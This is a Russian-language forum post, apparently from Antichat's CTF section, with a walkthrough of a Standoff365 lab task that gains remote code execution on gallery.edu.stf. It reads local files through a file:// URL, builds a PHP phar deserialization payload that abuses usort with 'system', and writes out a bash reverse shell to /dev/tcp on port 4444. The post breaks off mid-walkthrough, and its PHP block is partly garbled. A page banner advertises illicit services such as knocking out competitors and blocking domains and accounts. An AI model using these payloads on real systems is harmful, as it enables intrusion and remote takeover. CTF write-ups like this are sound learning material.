[web-8] Удаленное выполнение кода (RCE) на узле gallery.edu.stf (standoff365)

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Этичный хакинг или пентестинг > Задания/Квесты/CTF/Конкурсы
[web-8] Удаленное выполнение кода (RCE) на узле gallery.edu.stf (standoff365)

Опции темы

Поиск в этой теме

Опции просмотра

13.03.2026, 06:39

d1lya

Новичок

Регистрация: 16.02.2026

Сообщений: 2

С нами: 128294

Репутация: 0

Описание
Получите RCE на узле gallery.edu.stf (10.124.1.236).
Для получения флага выполните скрипт /home/rceflag.

Тестируем сайт, пробуем загрузить картинки и смотрим поведение.

Пытаемся загрузить вместо урла картинки

Код:

file:///etc/passwd

Сразу отправляем запрос в burp в repeater для удобства, он нам понадобится еще ни раз.

Переходим посмотреть что там за txt пришел в ответе.

Пол успеха в кармане. Теперь пробуем найти файлы из первой подсказки ./classes.php, ./ajax.php.
Перебираем варианты, сработал

Код:

file:///var/www/html/classes.php

.
По новой полученной ссылки в ответе видим classes.php

Проблема в строке usort($ImageArr, $SortFunc). В PHP второй параметр функции usort это имя функции, значит при большом желании мы можем вставить туда функцию system(), которая выполнит команду Linux.

Подсказка гласит:

Цитата:

создать phar-архив с объектом, который модифицирует переменные таким образом, чтобы они вызвали выполнение произвольного кода при десериализации.

Я поняла это так: когда PHP открывает файл через

Код:

phar://

он автоматически делает unserialize и нам нужно создать объект ImageSorting, где SortFunc будет "system". Тогда при уничтожении объекта выполнится

Код:

usort(..., "system")

. А вместо ImageArr попробуем запустить интерактивный shell

Код:

Код:

public $ImageArr = array("bash -c 'bash -i >& /dev/tcp/10.127.192.45/4444 0>&1'", "" , "");

Вместо 10.127.192.45 пишите свой IP (и порт, если будете использовать не 4444 для nc). IP можно найти по

Код:

ip a

.

У себя создаем файл php, например phar.php.

PHP:

Код:

& /dev/tcp/10.127.192.45/4444 0>&1'", ""];
    public $SortFunc = "system";
}

$phar = new Phar('payload.phar');
$phar->startBuffering();
$phar->addFromString('empty.txt', '');
$phar->setStub('');
$phar->setMetadata(new ImageSorting());
$phar->stopBuffering();
?>

Запускаем сборку phar файла

Код: